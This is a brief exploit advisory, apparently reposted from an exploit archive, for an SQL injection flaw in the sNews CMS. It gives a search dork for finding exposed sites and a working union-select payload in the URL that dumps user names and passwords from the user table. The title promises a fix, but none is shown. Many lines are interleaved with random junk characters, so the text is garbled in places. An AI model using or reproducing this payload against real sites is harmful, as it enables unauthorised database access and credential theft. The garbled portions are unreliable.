CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
下载地址 : http://snewscms.com/
测试平台 : ubuntu 12.10 / win 7
' [  q; n0 {* X& ?0 n* r* S, j关键词: inurl:"tanyakan pada rumput yang bergoyang"
( P9 l2 P2 V8 Y% S$ ~; d; O3 c
! x) f9 P) P0 G8 p& w' I0 U6 T5 {
+ I# H: v: W7 f5 X0 k& R*************************************************************

8 X- Q( T) E* k* U7 MSQL poc:
0 |! e0 Z! e# U$ F5 L4 Y+ I
3 m) D/ W/ `: h+ k$ F2 ]http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
5 `' J" D* L4 j6 T) E
% h# T( W* p$ I: L* E3 V示例
* |3 O- H7 F: O: {
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


致谢:

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
* E0 ~9 ?8 H' M: o0 o( `     
; x0 ~# D! ]4 w- A" H          indonesiancoder - moeslimh4x0r - go-coder
! o! v. {  Y; a5 O# y7 B
7 x8 K0 \8 Q+ @5 H5 ^spesial my hunny :*